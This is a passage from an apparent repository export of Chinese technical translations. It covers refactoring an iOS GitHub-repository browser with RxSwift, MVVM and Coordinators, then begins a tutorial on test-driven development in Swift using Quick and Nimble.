app](https://ws2.sinaimg.cn/large/006tNc79gy1fiygh3b4w8j318g0s0jv0.jpg)\n\n用户可以通过点击导航栏上的按钮来进入第二个页面。在这个开发语言列表里，可以选择一个语言或者通过点击取消按钮来退出页面。如果用户在第二个页面选择了一个开发语言，页面将会执行退出操作，而仓库列表页面也会根据已选的开发语言来进行内容刷新。\n\n你可以在下面的链接里找到源代码文件：\n\n[![](https://ws3.sinaimg.cn/large/006tKfTcgy1fi4hjpkfvqj314k0aqgmv.jpg)](https://github.com/uptechteam/Coordinator-MVVM-Rx-Example)\n\n这个仓库包含四个文件夹：MVC，MVC-Rx，MVVM-Rx，Coordinators-MVVM-Rx。分别对应重构的每一个步骤。让我们打开 [MVC folder](https://github.com/uptechteam/Coordinator-MVVM-Rx-Example/tree/master/MVC) 这个项目，然后在进行重构之前先看一下。\n\n大部分的代码都在两个视图控制器中：`RepositoryListViewController` 和 `LanguageListViewController`。第一个视图控制器获取了一个最受欢迎仓库的列表，然后通过表格展示给了用户，第二个视图控制器则是展示了一个开发语言的列表。`RepositoryListViewController` 是 `LanguageListViewController` 的一个代理持有对象，遵循下面的协议：\n\n```\nprotocol LanguageListViewControllerDelegate: class {\n    func languageListViewController(_ viewController: LanguageListViewController,\n                                    didSelectLanguage language: String)\n    func languageListViewControllerDidCancel(_ viewController: LanguageListViewController)\n}\n```\n\n`RepositoryListViewController` 也是列表视图的代理持有对象和数据源持有对象。它处理导航事件，格式化可展示的 Model 数据以及执行网络请求。哇哦，一个视图控制器包揽了这么多的责任。\nThe `RepositoryListViewController` is also a delegate and a data source for the table view. It handles the navigation, formats model data to display and performs network requests. Wow, a lot of responsibilities for just one View Controller!\n\n另外，你可以注意到 `RepositoryListViewController` 这个文件的全局范围内有两个变量：`currentLanguage` 和 `repositories`。这种状态变量使得类变得复杂了起来，而如果应用出现了意料之外的崩溃，这也会是一种常见的 BUGS 来源。总而言之，当前的代码中存在着好几个问题：\n\n- 视图控制器包揽了太多的责任；\n- 我们需要被动地处理状态的变化；\n- 代码不可测。\n\n是时候去见一下我们新的客人了。\n\n### RxSwift\n\n这个组件将允许我们被动的响应状态变化和写出声明式代码。\n\nRx 是什么？其中有一个定义是这样的：\n\n> ReactiveX 是一个通过使用可观察的序列来组合异步事件编码的类库。\n\n如果你对函数编程不熟悉或者这个定义听起来像是火箭科学（对我来说，还是这样的），你可以把 Rx 想象成一种极端的观察者模式。关于更多的信息，你可以参考 [开始指导](https://github.com/ReactiveX/RxSwift/blob/master/Documentation/GettingStarted.md) 或者 [RxSwift 书籍](https://store.raywenderlich.com/products/rxswift)。\n\n让我们打开 [仓库中的 MVC-RX 项目](https://github.com/uptechteam/Coordinator-MVVM-Rx-Example/tree/master/MVC-Rx)，然后看一下 Rx 是怎么改变代码的。我们将从最普遍的 Rx 应用场景开始 - 我们替换 `LanguageListViewControllerDelegate` 成为两个观测变量：`didCancel` 和 `didSelectLanguage`。\n\n```\n/// 展示一个语言的列表。\nclass LanguageListViewController: UIViewController {\n    private let _cancel = PublishSubject<Void>()\n    var didCancel: Observable<Void> { return _cancel.asObservable() }\n\n    private let _selectLanguage = PublishSubject<String>()\n    var didSelectLanguage: Observable<String> { return _selectLanguage.asObservable() }\n\n    private func setupBindings() {\n        cancelButton.rx.tap\n            .bind(to: _cancel)\n            .disposed(by: disposeBag)\n\n        tableView.rx.itemSelected\n            .map { [unowned self] in self.languages[$0.row] }\n            .bind(to: _selectLanguage)\n            .disposed(by: disposeBag)\n    }\n}\n\n/// 展示一个通过开发语言来分类的仓库列表。\nclass RepositoryListViewController: UIViewController {\n\n  /// 在进行导航之前订阅 `LanguageListViewController` 观察对象。\n  private func prepareLanguageListViewController(_ viewController: LanguageListViewController) {\n          let dismiss = Observable.merge([\n              viewController.didCancel,\n              viewController.didSelectLanguage.map { _ in }\n              ])\n\n          dismiss\n              .subscribe(onNext: { [weak self] in self?.dismiss(animated: true) })\n              .disposed(by: viewController.disposeBag)\n\n          viewController.didSelectLanguage\n              .subscribe(onNext: { [weak self] in\n                  self?.currentLanguage = $0\n                  self?.reloadData()\n              })\n              .disposed(by: viewController.disposeBag)\n      }\n  }\n}\n```\n\n代理模式完成\n\n`LanguageListViewControllerDelegate` 变成了 `didSelectLanguage` 和 `didCancel` 两个对象。我们在 `prepareLanguageListViewController(_: )` 方法中使用这两个对象来被动的观察 `RepositoryListViewController` 事件。\n\n接下来，我们将重构 `GithubService` 来返回观察对象以取代回调 block 的使用。在那之后，我们将使用 RxCocoa 框架来重写我们的视图控制器。`RepositoryListViewController` 的大部分代码将会被移动到 `setupBindings` 方法，在这个方法里面我们来声明视图控制器的逻辑。\n\n```\nprivate func setupBindings() {\n    // 刷新控制\n    let reload = refreshControl.rx.controlEvent(.valueChanged)\n        .asObservable()\n\n    // 每次重新加载或 currentLanguage 被修改时，都会向 github 服务器发出新的请求。\n    let repositories = Observable.combineLatest(reload.startWith(), currentLanguage) { _, language in return language }\n        .flatMap { [unowned self] in\n            self.githubService.getMostPopularRepositories(byLanguage: $0)\n                .observeOn(MainScheduler.instance)\n                .catchError { error in\n                    self.presentAlert(message: error.localizedDescription)\n                    return .empty()\n                }\n        }\n        .do(onNext: { [weak self] _ in self?.refreshControl.endRefreshing() })\n\n    // 绑定仓库数据作为列表视图的数据源。\n        .bind(to: tableView.rx.items(cellIdentifier: \"RepositoryCell\", cellType: RepositoryCell.self)) { [weak self] (_, repo, cell) in\n            self?.setupRepositoryCell(cell, repository: repo)\n        }\n        .disposed(by: disposeBag)\n\n    // 绑定当前语言为导航栏的标题。\n    currentLanguage\n        .bind(to: navigationItem.rx.title)\n        .disposed(by: disposeBag)\n\n    // 订阅表格的单元格选择操作然后在每一个 Item 调用 `openRepository` 操作。\n    tableView.rx.modelSelected(Repository.self)\n        .subscribe(onNext: { [weak self] in self?.openRepository($0) })\n        .disposed(by: disposeBag)\n\n    // 订阅按钮的点击，然后在每一个 Item 调用 `openLanguageList` 操作。\n    chooseLanguageButton.rx.tap\n        .subscribe(onNext: { [weak self] in self?.openLanguageList() })\n        .disposed(by: disposeBag)\n}\n```\n\n视图控制器逻辑的声明性描述\n\n现在我们可以不用在视图控制器里面实现列表视图的代理对象方法和数据源对象方法了，也将我们的状态变化更改成一种可变的主题。\n\n```\nfileprivate let currentLanguage = BehaviorSubject(value: “Swift”)\n```\n\n#### 成果\n\n我们已经使用 RxSwift 和 RxCocoa 框架来重构了示例应用。所以这种写法到底给我们带来了什么好处呢？\n\n- 所有逻辑都是被声明式地写到了同一个地方。\n- 我们通过观察和响应的方式来处理状态的变化。\n- 我们使用 RxCocoa 的语法糖来简短明了地设置列表视图的数据源和代理。\n\n我们的代码仍然不可测试，而视图控制器也还是有着很多的逻辑处理。让我们来看看我们的架构的下一个组成部分。\n\n### MVVM\n\nMVVM 是 Model-View-X 系列的 UI 架构模式。MVVM 与标准 MVC 类似，除了它定义了一个新的组件 - ViewModel，它允许更好地将 UI 与模型分离。本质上，ViewModel 是独立表现视图 UIKit 的对象。\n\n*示例项目在 *[*MVVM-Rx folder*](https://github.com/uptechteam/Coordinator-MVVM-Rx-Example/tree/master/MVVM-Rx)*.*\n\n首先，让我们创建一个 View Model，它将准备在 View 中显示的 Model 数据：\n\n```\nclass RepositoryViewModel {\n    let name: String\n    let description: String\n    let starsCountText: String\n    let url: URL\n\n    init(repository: Repository) {\n        self.name = repository.fullName\n        self.description = repository.description\n        self.starsCountText = \"⭐️ \\(repository.starsCount)\"\n        self.url = URL(string: repository.url)!\n    }\n}\n```\n\n接下来，我们将把所有的数据变量和格式代码从 `RepositoryListViewController` 移动到 `RepositoryListViewModel`：\n\n```\nclass RepositoryListViewModel {\n\n    // MARK: - 输入\n    /// 设置当前语言， 重新加载仓库。\n    let setCurrentLanguage: AnyObserver<String>\n\n    /// 被选中的语言。\n    let chooseLanguage: AnyObserver<Void>\n\n    /// 被选中的仓库。\n    let selectRepository: AnyObserver<RepositoryViewModel>\n\n    /// 重新加载仓库。\n    let reload: AnyObserver<Void>\n\n    // MARK: - 输出\n    /// 获取的仓库数组。\n    let repositories: Observable<[RepositoryViewModel]>\n    \n    /// navigation item 标题。\n    let title: Observable<String>\n\n    /// 显示的错误信息。\n    let alertMessage: Observable<String>\n    \n    /// 显示的仓库的首页 URL。\n    let showRepository: Observable<URL>\n    \n    /// 显示的语言列表。\n    let showLanguageList: Observable<Void>\n\n    init(initialLanguage: String, githubService: GithubService = GithubService()) {\n\n        let _reload = PublishSubject<Void>()\n        self.reload = _reload.asObserver()\n\n        let _currentLanguage = BehaviorSubject<String>(value: initialLanguage)\n        self.setCurrentLanguage = _currentLanguage.asObserver()\n\n        self.title = _currentLanguage.asObservable()\n            .map { \"\\($0)\" }\n\n        let _alertMessage = PublishSubject<String>()\n        self.alertMessage = _alertMessage.asObservable()\n\n        self.repositories = Observable.combineLatest( _reload, _currentLanguage) { _, language in language }\n            .flatMapLatest { language in\n                githubService.getMostPopularRepositories(byLanguage: language)\n                    .catchError { error in\n                        _alertMessage.onNext(error.localizedDescription)\n                        return Observable.empty()\n                    }\n            }\n            .map { repositories in repositories.map(RepositoryViewModel.init) }\n\n        let _selectRepository = PublishSubject<RepositoryViewModel>()\n        self.selectRepository = _selectRepository.asObserver()\n        self.showRepository = _selectRepository.asObservable()\n            .map { $0.url }\n\n        let _chooseLanguage = PublishSubject<Void>()\n        self.chooseLanguage = _chooseLanguage.asObserver()\n        self.showLanguageList = _chooseLanguage.asObservable()\n    }\n}\n```\n\n现在，我们的视图控制器将所有 UI 交互（如按钮点击或行选择）委托给 View Model，并观察 View Model 输出数据或事件（像 `showLanguageList` 这样）。\n\n我们将为 `LanguageListViewController` 做同样的事情，看起来一切进展顺利。但是我们的测试文件夹仍然是空的！View Models 的引入使我们能够测试一大堆代码。因为 ViewModels 纯粹地使用注入的依赖关系将输入转换为输出。ViewModels 和单元测试是我们应用程序中最好的朋友。\n\n我们将使用 RxSwift 附带的 RxTest 框架测试应用程序。最重要的部分是 `TestScheduler` 类，它允许你通过定义在何时应该发出值来创建假的可观察值。这就是我们测试 View Models 的方式：\n\n```\nfunc test_SelectRepository_EmitsShowRepository() {\n    let repositoryToSelect = RepositoryViewModel(repository: testRepository)\n    // 倒计时 300 秒后创建一个假的观测变量\n    let selectRepositoryObservable = testScheduler.createHotObservable([next(300, repositoryToSelect)])\n\n    // 绑定 selectRepositoryObservable 的输入\n    selectRepositoryObservable\n        .bind(to: viewModel.selectRepository)\n        .disposed(by: disposeBag)\n\n    // 订阅 showRepository 的输出值并启动 testScheduler\n    let result = testScheduler.start { self.viewModel.showRepository.map { $0.absoluteString } }\n\n    // 断言判断结果的 url 是否等于预期的 url\n    XCTAssertEqual(result.events, [next(300, \"https://www.apple.com\")])\n}\n```\n\n#### 成果\n\n好啦，我们已经从 MVC 转到了 MVVM。 但是两者有什么区别呢？\n\n- 视图控制器更轻量化；\n- 数据处理的逻辑与视图控制器分离；\n- MVVM 使我们的代码可以测试；\n\n我们的 View Controllers 还有一个问题 - `RepositoryListViewController` 知道 `LanguageListViewController` 的存在并且管理着导航流。让我们用 Coordinators 来解决它。\n\n### Coordinators\n\n如果你还没有听到过 Coordinators 的话，我强烈建议你阅读 Soroush Khanlou [这篇超赞的博客] (http://khanlou.com/2015/10/coordinators-redux/)。\n\n简而言之，Coordinators 是控制我们应用程序的导航流的对象。 他们帮助的有：\n\n- 解耦和重用 ViewControllers；\n- 将依赖关系传递给导航层次；\n- 定义应用程序的用例；\n- 实现深度链接；\n\n![](https://ws4.sinaimg.cn/large/006tKfTcgy1fj0za6nv8uj318g0n541f.jpg)\n\nCoordinators 流程\n\n该图显示了应用程序中典型的 coordinators 流程。App Coordinator 检查是否存在有效的访问令牌，并决定显示下一个 coordinator - 登录或 Tab Bar。TabBar Coordinator 显示三个子 coordinators，它们分别对应于 Tab Bar items。\n\n我们终于来到我们的重构过程的最后。完成的项目位于 [Coordinators-MVVM-Rx](https://github.com/uptechteam/Coordinator-MVVM-Rx-Example/tree/master/Coordinators-MVVM-Rx) 目录下。有什么变化呢？\n\n首先，我们来看看 `BaseCoordinator` 是什么：\n\n```\n/// 基于 `start` 方法的返回类型\nclass BaseCoordinator<ResultType> {\n\n    /// Typealias 允许通过 `CoordinatorName.CoordinationResult` 方法获取 Coordainator 的返回类型\n    typealias CoordinationResult = ResultType\n\n    /// 子类可调用的 `DisposeBag` 函数\n    let disposeBag = DisposeBag()\n\n    /// 特殊标识符\n    private let identifier = UUID()\n\n    /// 子 coordinators 的字典。每一个 coordinator 都应该被添加到字典中，以便暂存在内存里面\n    \n    /// Key 是子 coordinator 的一个 `identifier` 标志，而对应的 value 则是 coordinator 本身。\n    \n    /// 值类型是 `Any`，因为 Swift 不允许在数组中存储泛型的值。\n    private var childCoordinators = [UUID: Any]()\n\n    /// 在 `childCoordinators` 这个字典中存储 coordinator\n    private func store<T>(coordinator: BaseCoordinator<T>) {\n        childCoordinators[coordinator.identifier] = coordinator\n    }\n\n    /// 从 `childCoordinators` 这个字典中释放 coordinator\n    private func free<T>(coordinator: BaseCoordinator<T>) {\n        childCoordinators[coordinator.identifier] = nil\n    }\n    \n    /// 1. 在存储子 coordinators 的字典中存储 coordinator\n    /// 2. 调用 coordinator 的 `start()` 函数\n    /// 3. 返回观测变量的 `start()` 函数后，在 `onNext:` 方法中执行从字典中移除掉 coordinator 的操作。\n    func coordinate<T>(to coordinator: BaseCoordinator<T>) -> Observable<T> {\n        store(coordinator: coordinator)\n        return coordinator.start()\n            .do(onNext: { [weak self] _ in self?.free(coordinator: coordinator) })\n    }\n    \n    /// coordinator 的开始工作。\n    ///\n    /// - Returns: Result of coordinator job.\n    func start() -> Observable<ResultType> {\n        fatalError(\"Start method should be implemented.\")\n    }\n}\n```\n\n基本 Coordinator\n\n该通用对象为具体 coordinators 提供了三个功能：\n\n- 启动 coordinator 工作（即呈现视图控制器）的抽象方法 `start()` ；\n- 在通过的子 coordinator 上调用 `start()` 并将其保存在内存中的通用方法 `coordinate(to: )`；\n- 被子类使用的 `disposeBag`；\n\n*为什么 *`*start*`* 方法返回一个 *`*Observable*`*，什么又是 *`*ResultType*`* 呢？\n\n`ResultType` 是表示 coordinator 工作结果的类型。更多的 `ResultType` 将是 `Void`，但在某些情况下，它将会是可能的结果情况的枚举。`start` 将只发出一个结果项并完成。\n\n我们在应用程序中有三个 Coordinators：\n\n- Coordinators 层级结构的根 `AppCoordinator`；\n- RepositoryListCoordinator`；\n- `LanguageListCoordinator`。\n\n让我们看看最后一个 Coordinator 如何与 ViewController 和 ViewModel 进行通信，并处理导航流程：\n\n```\n/// 用于定义 `LanguageListCoordinator` 可能的 coordinator 结果的类型.\n///\n/// - language: 被选择的语言。\n/// - cancel: 取消按钮被点击。\nenum LanguageListCoordinationResult {\n    case language(String)\n    case cancel\n}\n\nclass LanguageListCoordinator: BaseCoordinator<LanguageListCoordinationResult> {\n\n    private let rootViewController: UIViewController\n\n    init(rootViewController: UIViewController) {\n        self.rootViewController = rootViewController\n    }\n\n    override func start() -> Observable<CoordinationResult> {\n        // 从 storyboard 初始化一个试图控制器，并将其放入到 UINavigationController 堆栈中。\n        let viewController = LanguageListViewController.initFromStoryboard(name: \"Main\")\n        let navigationController = UINavigationController(rootViewController: viewController)\n\n        // 初始化 View Model 并将其注入 View Controller\n        let viewModel = LanguageListViewModel()\n        viewController.viewModel = viewModel\n\n        // 将 View Model 的输出映射到 LanguageListCoordinationResult 类型\n        let cancel = viewModel.didCancel.map { _ in CoordinationResult.cancel }\n        let language = viewModel.didSelectLanguage.map { CoordinationResult.language($0) }\n\n        // 将当前的 试图控制器放到提供的 rootViewController 上。\n        rootViewController.present(navigationController, animated: true)\n\n        // 合并 View Model 的映射输出，仅获取第一个发送的事件，并关闭该事件的试图控制器\n        return Observable.merge(cancel, language)\n            .take(1)\n            .do(onNext: { [weak self] _ in self?.rootViewController.dismiss(animated: true) })\n    }\n}\n```\n\nLanguageListCoordinator 工作的结果可以是选定的语言，如果用户点击了“取消”按钮，也可以是无效的。这两种情况都在 `LanguageListCoordinationResult` 枚举中被定义。\n\n在 `RepositoryListCoordinator` 中，我们通过 `LanguageListCoordinator` 的显示来绘制 `showLanguageList` 的输出。在 `LanguageListCoordinator` 的 `start()` 方法完成后，我们会过滤结果，如果有一门语言被选中了，我们就将其作为参数来调用 View Model 的 `setCurrentLanguage` 方法。\n\n```\noverride func start() -> Observable<Void> {\n\n    ...\n    // 检测请求结果来展示列表\n    viewModel.showLanguageList\n        .flatMap { [weak self] _ -> Observable<String?> in\n            guard let `self` = self else { return .empty() }\n            // Start next coordinator and subscribe on it's result\n            return self.showLanguageList(on: viewController)\n        }\n        // 忽略 nil 结果，这代表着语言列表的页面被 dismiss 掉了\n        .filter { $0 != nil }\n        .map { $0! }\n        .bind(to: viewModel.setCurrentLanguage)\n        .disposed(by: disposeBag)\n\n    ...\n\n    // 这里返回 `Observable.never()`，因为 RepositoryListViewController 这个控制器一直都是显示的\n    return Observable.never()\n}\n\n// 启动 LanguageListCoordinator\n// 如果点击取消或者选择了一门已经被选择的语言的时候，返回 nil\nprivate func showLanguageList(on rootViewController: UIViewController) -> Observable<String?> {\n    let languageListCoordinator = LanguageListCoordinator(rootViewController: rootViewController)\n    return coordinate(to: languageListCoordinator)\n        .map { result in\n            switch result {\n            case .language(let language): return language\n            case .cancel: return nil\n            }\n        }\n}\n```\n\n*注意我们返回了 *`*Observable.never()*`* 因为仓库列表的页面一直都是在视图栈级结构里面的。*\n\n#### 结果\n\n我们完成了我们最后一步的重构，我们做了：\n\n- 把导航栏的逻辑移除出了视图控制器，进行了解耦；\n- 将视图模型注入到视图控制器中；\n- 简化了故事板；\n\n---\n\n以鸟瞰图的方式，我们的系统是长这样子的：\n\n![MVVM-C 架构设计](https://ws4.sinaimg.cn/large/006tKfTcgy1fj0w69fbojj318g0tcgo8.jpg)\n\n应用的 Coordinator 管理器启动了第一个 Coordinator 来初始化 View Model，然后注入到了视图控制器并进行了展示。视图控制器发送了类似按钮点击和 cell section 这样的用户事件到 View Model。而 View Model 则提供了处理过的数据回到视图控制器，并且调用 Coordinator 来进入下一个页面。当然，Coordinator 也可以传送事件到 View Model 进行处理。\n\n### 结论\n\n我们已经考虑到了很多：我们讨论的 MVVM 对 UI 结构进行了描述，使用 Coordinators 解决了导航/路由的问题，并且使用 RxSwift 对代码进行了声明式改造。我们一步步的对应用进行了重构，并且展示了每一步操作的影响。\n\n构建一个应用是没有捷径的。每一个解决方案都有其自身的缺点，不一定都适用于你的应用。进行应用结构的选择，重点在于特定情况的权衡利弊。\n\n当然，相比之前而言，Rx，Coordinators 和 MVVM 相互结合的方式有更多的使用场景，所以请一定要让我知道，如果你希望我写多一篇更深入边界条件，疑难解答的博客的话。\n\n感谢你的阅读！\n\n---\n\n*作者 Myronenko, *[*UPTech 小组*](https://uptech.team/)* ❤️*\n\n---\n\n*如果你认为这篇博客可以帮助到你，点击下面的 * 💚 * 让更多人阅读它。粉一下我们，以便了解更多关于构建优质产品的文章。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n\n"
  },
  {
    "path": "TODO/tdd-quick-nimble.md",
    "content": "> * 原文地址：[Test Driven Development (TDD) in Swift with Quick and Nimble](https://www.appcoda.com/tdd-quick-nimble/)\n> * 原文作者：[LAWRENCE TAN](https://www.appcoda.com/author/lawrencetan/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/tdd-quick-nimble.md](https://github.com/xitu/gold-miner/blob/master/TODO/tdd-quick-nimble.md)\n> * 译者：[94haox](https://github.com/94haox)\n> * 校对者：[swants](https://github.com/swants), [atuooo](https://github.com/atuooo)\n\n在移动开发领域，编写测试用例并不常见，事实上，大多数移动开发团队为了加快开发速度，都尽可能地避免编写测试用例。\n\n作为一个“成熟的”开发者，我尝到了编写测试用例的好处，它不仅仅能保证你的 app 的功能符合预期，它也能通过“锁住”你的代码来阻止其他开发者改变你的代码。而且测试代码和实现代码之间的联系也有助于新的开发者比较容易地理解和接手项目。\n\n## 测试驱动开发（ TDD ）\n\n**测试驱动开发（ TDD ）** 就像一个新的编码艺术。它遵守下面的递归循环：\n\n* 写一个能导致失败的测试用例\n* 为通过上述测试写一些代码\n* 重构\n* 重复上述操作，直到我们满意\n\n让我为你展示一个简单的例子，首先思考一下下面函数的实现：\n\n```\nfunc calculateAreaOfSquare(w: Int, h: Int) -> Double { }\n```\n\n**测试 1:**\n给两个数 `w=2`，`h=2`，预期的面积应该是 `4`。在这个例子中，这个测试会失败，因为这个函数目前并没有实现。\n\n接着我们继续写：\n\n```\nfunc calculateAreaOfSquare(w: Int, h: Int) -> Double { return w * h }\n```\n\n测试 1 现在通过了！哇哦！\n\n**测试 2:**\n给两个数 `w=-1`，`h=-1`，预期的面积应该是 `0`。在这个例子中，测试会失败，因为基于目前函数的实现，它会返回 `1`。\n\n让我们继续：\n\n```\nfunc calculateAreaOfSquare(w: Int, h: Int) -> Double { \n    if w > 0 && h > 0 { \n        return w * h \n    } \n    \n    return 0\n}\n```\n\n测试 2 现在也通过了！哇哦！\n\n这些操作可以继续下去，一直到你处理了所有的边缘情况。接下来你就应该重构你的代码，在保证所有的测试用例都能通过的情况下，让它看起来漂亮简洁。\n\n基于我们上面讨论的，我们意识到，TDD 不仅仅能让我们写出高质量的代码，它也能让我们更早的处理边缘情况。另外，它还能通过不同的分工：一个写测试用例，一个写实现代码，来进行结对编程。你可以在 [Dotariel’s Blog Post](https://medium.com/@dotariel/5-reasons-i-love-test-driven-development-fc257d9093e2#.7eejsiuwg) 找到更多有关于 TDD 的信息。\n\n## 你会在本教程中学到什么？\n\n在教程的结尾，你可以获得以下的知识：\n\n* 对 **为什么 TDD 很棒**，有一个基础的认知。\n* 对 **Quick 和 Nimble 如何工作**， 有一个基础的认知。\n* 知道如何使用 **Quick 和 Nimble 进行 UI 测试**。\n* 知道如何使用 **Quick 和 Nimble 进行单元测试**。\n\n## 前期准备\n\n在我们继续下去之前，有些前期准备：\n\n* Swift3 环境和 8.3.3 版本的 Xcode\n* 有 Swift 和 iOS 开发的经验\n\n## 配置我们的项目\n\n假设我们要开发一个能够展示电影列表的 app。 首先打开 Xcode 并创建一个叫做 **MyMovies** 的单视图应用。勾选上 ```Unit Tests```，一旦我们配置好库和视图控制器，我们将重新访问这个目标。\n\n![TDD Sample Project](http://www.appcoda.com/wp-content/uploads/2017/08/tdd-1.png)\n\n下一步，删除已存在的 `ViewController` 并且重新创建一个继承于`UITableViewController` 的新类，把它命名为`MoviesTableViewController`。\n\n将 `Main.storyboard` 中的 `ViewController` 删除，将一个新的`UITableViewController` 拖进去，让它继承于`MoviesTableViewController`。\n\n然后，将 cell 的样式改为 `Subtitle`，并且将 identifier 改为 `MovieCell`，这样，我们后面就可以同时展示电影的标题和类型了。\n\n![](http://www.appcoda.com/wp-content/uploads/2017/08/tdd-3.png)\n\n不要忘了将这个视图控制器标记为 `initial view controller`。\n\n![](http://www.appcoda.com/wp-content/uploads/2017/08/tdd-5.png)\n\n这个时候，你的代码看上去应该像下面一样：\n\n```\nimport UIKit\n \nclass MoviesTableViewController: UITableViewController {\n \n    override func viewDidLoad() {\n        super.viewDidLoad()\n    }\n    \n    // MARK: - Table view data source\n    override func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {\n        return 0\n    }\n}\n```\n\n### 电影数据\n\n现在，我们需要造出一些电影数据，一会儿，我们需要它们去填充我们的视图。\n\n#### Genre Enum\n\n```\nenum Genre: Int {\n    case Animation\n    case Action\n    case None\n}\n```\n\n这个枚举用来标记电影的类别。\n\n#### Movie Struct\n\n```\nstruct Movie {\n    var title: String\n    var genre: Genre\n}\n```\n\n这个电影数据类型用来描述我们需要的电影数据。\n\n```\nclass MoviesDataHelper {\n    static func getMovies() -> [Movie] {\n        return [\n            Movie(title: \"The Emoji Movie\", genre: .Animation),\n            Movie(title: \"Logan\", genre: .Action),\n            Movie(title: \"Wonder Woman\", genre: .Action),\n            Movie(title: \"Zootopia\", genre: .Animation),\n            Movie(title: \"The Baby Boss\", genre: .Animation),\n            Movie(title: \"Despicable Me 3\", genre: .Animation),\n            Movie(title: \"Spiderman: Homecoming\", genre: .Action),\n            Movie(title: \"Dunkirk\", genre: .Animation)\n        ]\n    }\n}\n```\n\n这个电影数据助手类可以帮助我们直接调用 `getMovies` 方法，所以我们可以在单次调用中就可以获得需要的数据。\n\n提醒一下，到目前为止，我们并没有在项目中做任何有关 TDD 的配置。现在，让我们开始学习这篇教程的主要内容 Quick 和 Nimble 吧！\n\n## Quick & Nimble\n\n**Quick** 是一个建立在 XCTest 上，为 Swift 和 Objective-C 设计的测试框架. \n它通过 [DSL](https://en.wikipedia.org/wiki/Domain-specific_language) 去编写非常类似于 [RSpec](https://github.com/rspec/rspec) 的测试用例。\n\n**Nimble** 就像是 **Quick** 的搭档，它提供了匹配器作为断言。关于它的更多信息，请查看[这儿](https://github.com/Quick/Quick)\n\n### 使用 Carthage 安装 Quick & Nimble\n\n随着 Carthage 库的增长，相比 Cocoapods 我越来越喜欢 Carthage，因为它更去中心化。即使某一个库编译失败，整个项目依然可以编译成功\n\n```\n#CartFile.private\ngithub \"Quick/Quick\"\ngithub \"Quick/Nimble\"\n```\n\n上面就是 `CartFile.private` 中的内容，我通过它来安装依赖。如果你不熟悉 Carthage，先看看[它](https://github.com/Carthage/Carthage)吧.\n\n将 `CartFile.private` 拖入你的项目目录，然后终端运行 `carthage update`。这个命令会克隆依赖，成功后，你可以在 `Carthage -> Build -> iOS` 找到它们。接着，将两个框架都添加到测试工程。你需要到 Build Phases 点击左上方的加号，并且选择 “New Copy Files Phase”。将它设置为 “Frameworks”，并且将两个框架都添加进去。\n\n现在所有的设置都搞定了！鼓掌撒花！\n\n![](http://www.appcoda.com/wp-content/uploads/2017/08/tdd-6.png)\n\n## 编写测试用例 #1\n\n让我们开始编写第一个测试用例。已知的是我们有一个列表，一些电影数据。那么，我们怎么保证列表视图显示正确项目个数？是的！我们需要保证列表视图的 cell 行数应该和电影数据的个数保持一致。这就是我们第一个需要测试的地方。那么开始吧！进到 `MyMoviesTests` 将 XCTest 代码全部删掉，并且将 Quick 和 Nimble 引入进来！\n\n我们必须保证我们的类是 `QuickSpec` 的子类，当然 `QuickSpec` 也是 `XCTestCase`的子类。要清楚的是 `Quick` 和 `Nimble` 仍然是基于 `XCTest` 的。\n最后，我们还有一件事需要做，那就是需要重写 `spec()` 函数， 关于这点，你可以查看 [set of example groups and examples](https://github.com/Quick/Quick/blob/master/Documentation/en-us/QuickExamplesAndGroups.md).\n\n```\nimport Quick\nimport Nimble\n \n@testable import MyMovies\n \nclass MyMoviesTests: QuickSpec {\n    override func spec() {\n    }\n}\n```\n\n这个时候，你需要明白我们将使用一些 `it`， `describe` 和 `context` 来编写我们的测试。\n`describe` 和 `context` 只是 `it` 示例的逻辑分组。\n\n### 测试 #1 – 预计列表视图的行数 = 电影数据的个数\n\n首先，引入我们的视图控制器\n\n```\nimport Quick\nimport Nimble\n \n@testable import MyMovies\n \nclass MyMoviesTests: QuickSpec {\n    override func spec() {\n        var subject: MoviesTableViewController!\n        \n        describe(\"MoviesTableViewControllerSpec\") {\n            beforeEach {\n                subject = UIStoryboard(name: \"Main\", bundle: nil).instantiateViewController(withIdentifier: \"MoviesTableViewController\") as! MoviesTableViewController\n                \n                _ = subject.view\n            }\n        }\n    }\n}\n```\n\n需要注意的是，我们有一个对 `MyMovies` 的 `@testable` 引用，这行代码的目的是标记着我们在测试哪个项目，并且允许我们引用那里的类。由于我们需要测试控制器的视图层，所以需要从 storyboard 抓取一个实例。\n\n**describe** 闭包应该是我们为 `MoviesTableViewController` 而写的第一个组合测试用例。\n\n**beforeEach** 闭包将在 **describe** 闭包中所有例子执行之前运行。所以你可以在其中写一些需要在 `MoviesTableViewController` 执行时首先运行的测试。\n\n`_ = subject.view` 会将视图控制器放入内存，它类似于调用 `viewDidLoad`。\n\n最后，我们可以在 `beforeEach { }` 之后添加测试断言。比如：\n\n```\ncontext(\"when view is loaded\") {\n    it(\"should have 8 movies loaded\") {\n        expect(subject.tableView.numberOfRows(inSection: 0)).to(equal(8))\n   }\n}\n```\n\n让我们一步步来看。首先，我们有一个被标记为 `when view is loaded` 组合示例闭包 `context`；接着，我们还有一个主要的示例 `it should have 8 movies loaded`；然后，我们预计或者断言列表视图的 cell 有 8 行。通过按 CMD+U 或者 Product -> Test 运行测试用例，然后你会在控制面板上看到下面信息：\n\n```\nMoviesTableViewController__when_view_is_loaded__should_have_8_movies_loaded] : expected to equal <8>, got <0>\n \nTest Case '-[MyMoviesTests.MoviesTableViewControllerSpec MoviesTableViewController__when_view_is_loaded__should_have_8_movies_loaded]' failed (0.009 seconds).\n```\n\n所以，你只是写了一个并不完善的测试用例。开始 TDD 吧！\n\n## 完善测试用例 #1\n\n现在，回到 `MoviesTableViewController`，加载电影数据！ 